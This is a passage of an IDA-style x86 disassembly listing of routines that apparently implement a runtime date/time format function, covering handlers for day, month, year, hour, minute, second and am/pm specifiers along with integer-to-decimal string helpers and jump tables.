		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A4h]
		push	edx
		call	sub_43A4F0
		add	esp, 14h
		jmp	short loc_43A182
; ---------------------------------------------------------------------------


loc_43A160:				; CODE XREF: sub_439D20+410j
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A0h]
		push	edx
		call	sub_43A4F0
		add	esp, 14h


loc_43A182:				; CODE XREF: sub_439D20+43Ej
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_43A187:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A2B1o
		mov	dword_4E957C, 0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A8h]
		push	edx
		call	sub_43A4F0
		add	esp, 14h
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_43A1B8:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A2E1o
		mov	eax, dword_4E957C
		mov	dword_4E9580, eax
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+14h]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	[ebp+var_4], edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_43A390
		add	esp, 10h
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_43A1EE:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A2B5o
		mov	edx, dword_4E957C
		mov	dword_4E9580, edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+14h]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	ecx, eax
		add	ecx, 13h
		imul	ecx, 64h
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+14h]
		cdq
		mov	esi, 64h
		idiv	esi
		add	ecx, edx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_43A390
		add	esp, 10h
		jmp	short loc_43A288
; ---------------------------------------------------------------------------


loc_43A23B:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A2B9o
		call	sub_43B760
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		cmp	dword ptr [edx+20h], 0
		setnz	al
		mov	ecx, off_45349C[eax*4]
		push	ecx
		call	sub_43A340
		add	esp, 0Ch
		jmp	short loc_43A288
; ---------------------------------------------------------------------------


loc_43A266:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:off_43A28Do
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	25h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx


loc_43A288:				; CODE XREF: sub_439D20+1Bj
					; sub_439D20+2Cj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_439D20	endp

; ---------------------------------------------------------------------------
off_43A28D	dd offset loc_43A266	; DATA XREF: sub_439D20+2Cr
		dd offset loc_439D75
		dd offset loc_439DBB
		dd offset loc_439F08
		dd offset loc_439F30
		dd offset loc_439FCF
		dd offset loc_43A03B
		dd offset loc_43A064
		dd offset loc_43A0A5
		dd offset loc_43A187
		dd offset loc_43A1EE
		dd offset loc_43A23B
		dd offset loc_439D53
		dd offset loc_439D98
		dd offset loc_439DDE
		dd offset loc_439EDE
		dd offset loc_439F75
		dd offset loc_439FA2
		dd offset loc_439FF7
		dd offset loc_43A07B
		dd offset loc_43A129
		dd offset loc_43A1B8
		dd offset loc_43A288
byte_43A2E9	db 0			; DATA XREF: sub_439D20+26r
		dw 1616h
		dd 6 dup(16161616h), 16020116h,	16161616h, 16160403h, 16160516h
		dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h
		dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h
		dd 0CC0B1514h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A340	proc near		; CODE XREF: sub_439D20+48p
					; sub_439D20+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp


loc_43A343:				; CODE XREF: sub_43A340+44j
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 0
		jz	short loc_43A386
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_43A386
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		jmp	short loc_43A343
; ---------------------------------------------------------------------------


loc_43A386:				; CODE XREF: sub_43A340+9j
					; sub_43A340+13j
		pop	ebp
		retn
sub_43A340	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A390	proc near		; CODE XREF: sub_439D20+1DBp
					; sub_439D20+203p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		cmp	dword_4E9580, 0
		jz	short loc_43A3BA
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_43A440
		add	esp, 0Ch
		jmp	short loc_43A439
; ---------------------------------------------------------------------------


loc_43A3BA:				; CODE XREF: sub_43A390+12j
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [eax]
		jnb	short loc_43A430
		mov	edx, [ebp+arg_4]
		sub	edx, 1
		mov	[ebp+arg_4], edx
		jmp	short loc_43A3D8
; ---------------------------------------------------------------------------


loc_43A3CF:				; CODE XREF: sub_43A390+82j
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax


loc_43A3D8:				; CODE XREF: sub_43A390+3Dj
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		test	ecx, ecx
		jz	short loc_43A414
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		add	edx, 30h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	eax, [ebp+arg_4]
		mov	[ecx+eax], dl
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_43A3CF
; ---------------------------------------------------------------------------


loc_43A414:				; CODE XREF: sub_43A390+50j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		jmp	short loc_43A439
; ---------------------------------------------------------------------------


loc_43A430:				; CODE XREF: sub_43A390+32j
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 0


loc_43A439:				; CODE XREF: sub_43A390+28j
					; sub_43A390+9Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_43A390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A440	proc near		; CODE XREF: sub_43A390+20p

var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx], 1
		jbe	short loc_43A49B


loc_43A456:				; CODE XREF: sub_43A440+59j
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jle	short loc_43A49B
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx], 1
		ja	short loc_43A456


loc_43A49B:				; CODE XREF: sub_43A440+14j
					; sub_43A440+51j
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_43A4B4:				; CODE XREF: sub_43A440+A6j
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ebp+var_C], al
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		mov	al, [ebp+var_C]
		mov	[edx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+var_4]
		jb	short loc_43A4B4
		mov	esp, ebp
		pop	ebp
		retn
sub_43A440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A4F0	proc near		; CODE XREF: sub_439D20+EBp
					; sub_439D20+13Cp ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h


loc_43A4F6:				; CODE XREF: sub_43A4F0+2EAj
					; sub_43A4F0:loc_43A8BBj ...
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_43A96C
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jz	loc_43A96C
		mov	[ebp+var_8], 0
		mov	dword_4E9580, 0
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_43A536
; ---------------------------------------------------------------------------


loc_43A52D:				; CODE XREF: sub_43A4F0+5Fj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_43A536:				; CODE XREF: sub_43A4F0+3Bj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		cmp	eax, edx
		jnz	short loc_43A551
		jmp	short loc_43A52D
; ---------------------------------------------------------------------------


loc_43A551:				; CODE XREF: sub_43A4F0+5Dj
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		sub	edx, 27h
		mov	[ebp+var_14], edx
		cmp	[ebp+var_14], 52h
		ja	loc_43A8C0
		mov	ecx, [ebp+var_14]
		xor	eax, eax
		mov	al, byte_43A99C[ecx]
		jmp	off_43A970[eax*4]


loc_43A588:				; DATA XREF: .XComp0:0043A97Co
		mov	edx, [ebp+var_C]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		sub	eax, 1
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 3
		ja	short loc_43A5C1
		mov	ecx, [ebp+var_18]
		jmp	dword ptr loc_43A9EF[ecx*4]
		mov	dword_4E9580, 1


loc_43A5B1:				; CODE XREF: sub_43A4F0+B0j
		mov	[ebp+var_8], 6Dh
		jmp	short loc_43A5C1
; ---------------------------------------------------------------------------


loc_43A5B7:				; CODE XREF: sub_43A4F0+B0j
		mov	[ebp+var_8], 62h
		jmp	short loc_43A5C1
; ---------------------------------------------------------------------------


loc_43A5BD:				; CODE XREF: sub_43A4F0+B0j
		mov	[ebp+var_8], 42h


loc_43A5C1:				; CODE XREF: sub_43A4F0+ABj
					; sub_43A4F0+C5j ...
		jmp	loc_43A8C0
; ---------------------------------------------------------------------------


loc_43A5C6:				; CODE XREF: sub_43A4F0+91j
					; DATA XREF: .XComp0:0043A980o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 3
		ja	short loc_43A5FF
		mov	ecx, [ebp+var_1C]
		jmp	dword ptr loc_43A9FA+5[ecx*4]


loc_43A5E5:				; CODE XREF: sub_43A4F0+B0j
		mov	dword_4E9580, 1


loc_43A5EF:				; CODE XREF: sub_43A4F0+B0j
					; sub_43A4F0+EEj
		mov	[ebp+var_8], 64h
		jmp	short loc_43A5FF
; ---------------------------------------------------------------------------


loc_43A5F5:				; CODE XREF: sub_43A4F0+B0j
					; sub_43A4F0+EEj
		mov	[ebp+var_8], 61h
		jmp	short loc_43A5FF
; ---------------------------------------------------------------------------


loc_43A5FB:				; CODE XREF: sub_43A4F0+B0j
					; sub_43A4F0+EEj
		mov	[ebp+var_8], 41h


loc_43A5FF:				; CODE XREF: sub_43A4F0+E9j
					; sub_43A4F0+103j ...
		jmp	loc_43A8C0
; ---------------------------------------------------------------------------


loc_43A604:				; CODE XREF: sub_43A4F0+91j
					; DATA XREF: .XComp0:0043A994o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 2
		jz	short loc_43A618
		cmp	[ebp+var_20], 4
		jz	short loc_43A61E
		jmp	short loc_43A622
; ---------------------------------------------------------------------------


loc_43A618:				; CODE XREF: sub_43A4F0+11Ej
		mov	[ebp+var_8], 79h
		jmp	short loc_43A622
; ---------------------------------------------------------------------------


loc_43A61E:				; CODE XREF: sub_43A4F0+124j
		mov	[ebp+var_8], 59h


loc_43A622:				; CODE XREF: sub_43A4F0+126j
					; sub_43A4F0+12Cj
		jmp	loc_43A8C0
; ---------------------------------------------------------------------------


loc_43A627:				; CODE XREF: sub_43A4F0+91j
					; DATA XREF: .XComp0:0043A984o
		mov	eax, [ebp+var_C]
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 1
		jz	short loc_43A63B
		cmp	[ebp+var_24], 2
		jz	short loc_43A645
		jmp	short loc_43A649
; ---------------------------------------------------------------------------


loc_43A63B:				; CODE XREF: sub_43A4F0+141j
		mov	dword_4E9580, 1


loc_43A645:				; CODE XREF: sub_43A4F0+147j
		mov	[ebp+var_8], 49h


loc_43A649:				; CODE XREF: sub_43A4F0+149j
		jmp	loc_43A8C0
; ---------------------------------------------------------------------------


loc_43A64E:				; CODE XREF: sub_43A4F0+91j
					; DATA XREF: .XComp0:0043A978o
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_28], ecx
		cmp	[ebp+var_28], 1
		jz	short loc_43A662
		cmp	[ebp+var_28], 2
		jz	short loc_43A66C
		jmp	short loc_43A670
; ---------------------------------------------------------------------------


loc_43A662:				; CODE XREF: sub_43A4F0+168j
		mov	dword_4E9580, 1


loc_43A66C:				; CODE XREF: sub_43A4F0+16Ej
		mov	[ebp+var_8], 48h


loc_43A670:				; CODE XREF: sub_43A4F0+170j
		jmp	loc_43A8C0
; ---------------------------------------------------------------------------


loc_43A675:				; CODE XREF: sub_43A4F0+91j
					; DATA XREF: .XComp0:0043A988o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_2C], edx
		cmp	[ebp+var_2C], 1
		jz	short loc_43A689
		cmp	[ebp+var_2C], 2
		jz	short loc_43A693
		jmp	short loc_43A697
; ---------------------------------------------------------------------------


loc_43A689:				; CODE XREF: sub_43A4F0+18Fj
		mov	dword_4E9580, 1


loc_43A693:				; CODE XREF: sub_43A4F0+195j
		mov	[ebp+var_8], 4Dh


loc_43A697:				; CODE XREF: sub_43A4F0+197j
		jmp	loc_43A8C0
; ---------------------------------------------------------------------------


loc_43A69C:				; CODE XREF: sub_43A4F0+91j
					; DATA XREF: .XComp0:0043A98Co
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 1
		jz	short loc_43A6B0
		cmp	[ebp+var_30], 2
		jz	short loc_43A6BA
		jmp	short loc_43A6BE
; ---------------------------------------------------------------------------


loc_43A6B0:				; CODE XREF: sub_43A4F0+1B6j
		mov	dword_4E9580, 1


loc_43A6BA:				; CODE XREF: sub_43A4F0+1BCj
		mov	[ebp+var_8], 53h


loc_43A6BE:				; CODE XREF: sub_43A4F0+1BEj
		jmp	loc_43A8C0
; ---------------------------------------------------------------------------


loc_43A6C3:				; CODE XREF: sub_43A4F0+91j
					; DATA XREF: .XComp0:0043A974o
		push	offset aAmPm	; "am/pm"
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_43AF20
		add	esp, 8
		test	eax, eax
		jnz	short loc_43A6E3
		mov	edx, [ebp+arg_0]
		add	edx, 5
		mov	[ebp+var_4], edx
		jmp	short loc_43A701
; ---------------------------------------------------------------------------


loc_43A6E3:				; CODE XREF: sub_43A4F0+1E6j
		push	offset aAP	; "a/p"
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_43AF20
		add	esp, 8
		test	eax, eax
		jnz	short loc_43A701
		mov	ecx, [ebp+arg_0]
		add	ecx, 3
		mov	[ebp+var_4], ecx


loc_43A701:				; CODE XREF: sub_43A4F0+1F1j
					; sub_43A4F0+206j
		mov	[ebp+var_8], 70h
		jmp	loc_43A8C0
; ---------------------------------------------------------------------------


loc_43A70A:				; CODE XREF: sub_43A4F0+91j
					; DATA XREF: .XComp0:0043A990o
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+8], 0Bh
		jg	short loc_43A721
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+98h]
		mov	[ebp+var_10], ecx
		jmp	short loc_43A72D
; ---------------------------------------------------------------------------


loc_43A721:				; CODE XREF: sub_43A4F0+221j
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+9Ch]
		mov	[ebp+var_10], eax


loc_43A72D:				; CODE XREF: sub_43A4F0+22Fj
					; sub_43A4F0+2DFj
		cmp	[ebp+var_C], 0
		jle	loc_43A7D4
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jbe	loc_43A7D4
		mov	edx, [ebp+var_10]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_4522E4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_43A797
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 1
		jbe	short loc_43A797
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx


loc_43A797:				; CODE XREF: sub_43A4F0+26Ej
					; sub_43A4F0+276j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_10]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx
		jmp	loc_43A72D
; ---------------------------------------------------------------------------


loc_43A7D4:				; CODE XREF: sub_43A4F0+241j
					; sub_43A4F0+24Dj
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax
		jmp	loc_43A4F6
; ---------------------------------------------------------------------------


loc_43A7DF:				; CODE XREF: sub_43A4F0+91j
					; DATA XREF: .XComp0:off_43A970o
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_43A8B2
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_C]
		mov	[ebp+arg_0], edx


loc_43A7F6:				; CODE XREF: sub_43A4F0+3BBj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_43A8B0
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jz	loc_43A8B0
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 27h
		jnz	short loc_43A829
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	loc_43A8B0
; ---------------------------------------------------------------------------


loc_43A829:				; CODE XREF: sub_43A4F0+329j
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_43A87C
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 1
		jbe	short loc_43A87C
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx


loc_43A87C:				; CODE XREF: sub_43A4F0+353j
					; sub_43A4F0+35Bj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		jmp	loc_43A7F6
; ---------------------------------------------------------------------------


loc_43A8B0:				; CODE XREF: sub_43A4F0+30Ej
					; sub_43A4F0+31Aj ...
		jmp	short loc_43A8BB
; ---------------------------------------------------------------------------


loc_43A8B2:				; CODE XREF: sub_43A4F0+2F7j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		mov	[ebp+arg_0], eax


loc_43A8BB:				; CODE XREF: sub_43A4F0:loc_43A8B0j
		jmp	loc_43A4F6
; ---------------------------------------------------------------------------


loc_43A8C0:				; CODE XREF: sub_43A4F0+80j
					; sub_43A4F0+91j ...
		movsx	ecx, [ebp+var_8]
		test	ecx, ecx
		jz	short loc_43A8EC
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	al, [ebp+var_8]
		push	eax
		call	sub_439D20
		add	esp, 14h
		mov	ecx, [ebp+var_4]
		mov	[ebp+arg_0], ecx
		jmp	short loc_43A967
; ---------------------------------------------------------------------------


loc_43A8EC:				; CODE XREF: sub_43A4F0+3D6j
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_4522E4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_43A938
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax


loc_43A938:				; CODE XREF: sub_43A4F0+417j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx


loc_43A967:				; CODE XREF: sub_43A4F0+3FAj
		jmp	loc_43A4F6
; ---------------------------------------------------------------------------


loc_43A96C:				; CODE XREF: sub_43A4F0+Ej
					; sub_43A4F0+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_43A4F0	endp

; ---------------------------------------------------------------------------
off_43A970	dd offset loc_43A7DF	; DATA XREF: sub_43A4F0+91r
		dd offset loc_43A6C3
		dd offset loc_43A64E
		dd offset loc_43A588
		dd offset loc_43A5C6
		dd offset loc_43A627
		dd offset loc_43A675
		dd offset loc_43A69C
		dd offset loc_43A70A
		dd offset loc_43A604
		dd offset loc_43A8C0
byte_43A99C	db 0			; DATA XREF: sub_43A4F0+8Br
; ---------------------------------------------------------------------------
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	al, [ecx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		add	cl, [edx]
		or	cl, [edx]
		or	al, [ebx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	al, [ecx]
		or	cl, [edx]
		add	al, 0Ah
		or	cl, [edx]
		add	eax, 0A0A0A0Ah
		push	es
		or	cl, [edx]
		or	cl, [edx]
		or	al, [edi]
		or	[edx], cl
		or	cl, [edx]
		or	cl, [ecx]


loc_43A9EF:				; DATA XREF: sub_43A4F0+B0r
		cmpsd
		movsd
		inc	ebx
		add	[ecx-48FFBC5Bh], dh
		movsd
		inc	ebx


loc_43A9FA:				; DATA XREF: sub_43A4F0+EEr
		add	[ebp-1AFFBC5Bh], bh
		movsd
		inc	ebx
		add	bh, ch
		movsd
		inc	ebx
		add	ch, dh
		movsd
		inc	ebx
		add	bl, bh
		movsd
		inc	ebx
		add	ah, cl

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AA10	proc near		; CODE XREF: sub_435B60+41p
					; sub_435B60+60p ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
